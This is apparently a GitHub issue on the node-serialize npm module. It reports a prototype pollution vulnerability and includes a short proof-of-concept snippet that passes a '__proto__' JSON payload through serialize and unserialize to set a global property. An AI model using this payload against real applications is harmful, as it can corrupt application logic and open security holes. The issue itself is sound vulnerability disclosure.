search

luin / serialize

Serialize an object including it's function into a JSON.
MIT License
79 stars 14 forks source link

Prototype Pollution #10

Open po6ix opened 4 years ago

po6ix commented 4 years ago

This module has prototype pollution vulnerablity and it can make logic vulnerability in application using

const serialize = require('node-serialize');

var obj = JSON.parse(`{"__proto__": {"polluted": true}}`);
let serialized = serialize.serialize(obj);
serialize.unserialize(serialized);

console.log(polluted); // true